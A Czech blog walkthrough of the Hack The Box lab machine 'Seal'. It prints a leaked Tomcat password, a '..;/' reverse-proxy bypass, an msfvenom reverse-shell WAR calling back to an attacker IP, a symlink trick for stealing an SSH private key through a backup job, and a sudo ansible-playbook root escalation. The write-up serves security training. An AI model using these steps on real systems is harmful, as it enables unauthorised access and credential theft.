tom@home.htb:~$

Blog o HTB

12 January 2021

Seal

Úvod a kontext

Seal spojuje hned několik infrastrukturních detailů, které samy o sobě nemusí vypadat kriticky: interní repozitář na portu 8080, Tomcat Manager za reverse proxy, zálohovací playbook spouštěný přes ansible a nakonec příliš široké sudo nad ansible-playbook.

Právě proto je tenhle stroj užitečný didakticky. První shell nevznikl klasickou webovou zranitelností v aplikaci, ale z uniklých Tomcat přihlašovacích údajů v repozitářové historii. Další pivot pak nevedl přes heslo, ale přes zálohu, která kopírovala symlinky. Bezpečnostní význam podobného trust chainu rozebírám i v článku Repozitář, historie konfigurace a deployment trust.

Počáteční průzkum

Vyhledání otevřených portů

Síťový scan ukázal SSH, veřejný web na 443 a interněji působící službu na 8080.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//)
echo $ports
nmap -p $ports -A -sC -sV -v $IP
22/tcp   open  ssh
443/tcp  open  ssl/http   nginx 1.18.0
8080/tcp open  http-proxy

Dir bruteforce na veřejném webu rychle ukázal stopy po Tomcat manageru:

dirsearch -u https://seal.htb -e php -x 403 -r
/host-manager/
/manager/
/manager/status/all

To je samo o sobě zajímavé, ale ještě ne dostatečné. Důležitější byly přihlašovací údaje.

Analýza zjištění

Uniklý tomcat-users.xml v historii repozitáře

Na službě na portu 8080 šlo procházet historii projektu seal_market. Jeden commit obsahoval část tomcat-users.xml:

<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

To je přesně typ tajemství, který se v repozitáři objeví „jen na chvíli“, ale i jediný commit stačí. Získané heslo pak šlo použít proti Tomcat Manageru.

Bypass reverse proxy k Manageru

Manager nebyl vystavený přímo, ale šel obejít přes známý pattern s ..;/ v cestě za reverse proxy. Přesně takové chyby v důvěře mezi proxy a backendem rozebírám i v článku SSRF, reverse proxy a localhost trust assumptions:

https://seal.htb/manager/status/..;/html

Tím se otevřelo rozhraní, do kterého šly použít uniklé údaje tomcat / 42MrHBf*z8{Z%}.

Získání přístupu

WAR shell jako tomcat

Jakmile byl Manager dostupný, šlo nasadit standardní WAR payload:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.11 LPORT=4000 -f war > rev.war

Po uploadu do Tomcat Manageru se vrátil shell v kontextu uživatele tomcat.

Zálohovací playbook a klíč uživatele luis

Lokální průzkum ukázal pravidelně spouštěný proces:

/bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml

Samotný playbook obsahoval pro root/user pivot nejdůležitější řádek:

synchronize:
  src: /var/lib/tomcat9/webapps/ROOT/admin/dashboard
  dest: /opt/backups/files
  copy_links: yes

copy_links: yes znamená, že symlink nebude archivovaný jako symlink, ale jeho cíl se skutečně zkopíruje. To otevřelo elegantní cestu ke klíči uživatele luis:

ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
cp /opt/backups/archives/* /tmp/
gzip -dk /tmp/backup*
tar xvf /tmp/backup
cat dashboard/uploads/.ssh/id_rsa

Tím se z veřejného Tomcat shellu stal stabilní SSH přístup:

ssh -i id_rsa luis@seal.htb

Eskalace oprávnění

sudo nad ansible-playbook

Účet luis měl k dispozici:

sudo -l
(ALL) NOPASSWD: /usr/bin/ansible-playbook *

To je velmi silné oprávnění, protože playbook může číst a zapisovat lokální soubory jako root. Minimální varianta pro získání root.txt vypadala takto:

- hosts: localhost
  tasks:
  - name: Copy Files
    copy:
      src: /root/root.txt
      dest: /tmp/
    delegate_to: localhost
  - name: Change file ownership, group and permissions
    ansible.builtin.file:
      path: /tmp/root.txt
      owner: luis
      group: luis
      mode: '0600'
sudo /usr/bin/ansible-playbook /tmp/run.yml
cat /tmp/root.txt

Tím byl potvrzen plný root přístup.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - ssh - sudo - tomcat - java